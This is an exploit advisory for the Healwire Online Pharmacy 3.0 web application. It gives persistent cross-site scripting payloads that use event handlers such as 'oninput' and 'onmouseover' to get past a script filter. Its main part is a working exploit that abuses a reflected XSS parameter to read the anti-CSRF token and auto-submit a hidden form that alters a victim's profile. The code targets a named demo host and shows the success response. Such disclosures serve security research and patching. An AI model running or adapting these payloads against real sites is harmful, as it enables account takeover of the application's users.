Healwire Online Pharmacy 3.0 - Cross-Site Scripting / Cross-Site Request Forgery

# Exploit Title: Healwire Online Pharmacy 3.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/healwire-online-pharmacy/16423338?s_rank=1499
# Version: 3.0
# Tested on: windows

# POC 1 : Cross site scripting :
1) Create an account and go to your profile.
2) When we want to put "<script></script>" in the fields,"script" will be
replaced with null.
so we can bypass this filter by using javascript's events like
"onmouseover" or "oninput" .
Put one of these payloads into the fields :
1 - " oninput=alert('xss') "
2 - " onmouseover=alert('xss') "
3) You will get an alert box inside the page . ( after put something into
the fields or move mouse on the fields)


# POC 2 : Cross-Site request forgery :
# With csrf vulnerability,attacker can easily change user's authentication.
# So in this script , we have anti-CSRF token .We can't change user's
# information without token.
# but there is a vulnerable parameter which has reflected xss in another page
# of this script.
# http://store.webandcrafts.com/demo/healwire/?msg= [We have Reflected XSS here]
# Now we can bypass anti-csrf by this parameter and using javascript:


# Exploit :

"/><form action="
http://store.webandcrafts.com/demo/healwire/user/update-details-user/1"
method="POST">
<input type="hidden" name="first&#95;name" value="a" />
<input type="hidden" name="address"
value=""&#32;oninput&#61;alert&#40;document&#46;domain&#41;&#32;""
/>
<input type="hidden" name="pincode" value="a" />
<input type="hidden" name="phone" value="100000000" />
<input type="hidden" name="last&#95;name" value="anything" />
<input type="hidden" name="&#95;token" value="" />
</form>
<script>
var token = ' ';
var req = new XMLHttpRequest();
req.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var secPage = this.responseXML;
token = secPage.forms[0].elements[0].value;
console.log(token);
}
}
req.open("GET","/demo/healwire/account-page",true);
req.responseType = "document";
req.send();

window.setTimeout(function(){
document.forms[0].elements[5].value = token;
document.forms[0].submit();
},3000)
</script>

# You can also send 2 ajax requests instead of using form .
# Encode this payload and put this into "msg" parameter
# JSON result after 3 seconds :

status "SUCCESS"
msg "User profile updated !"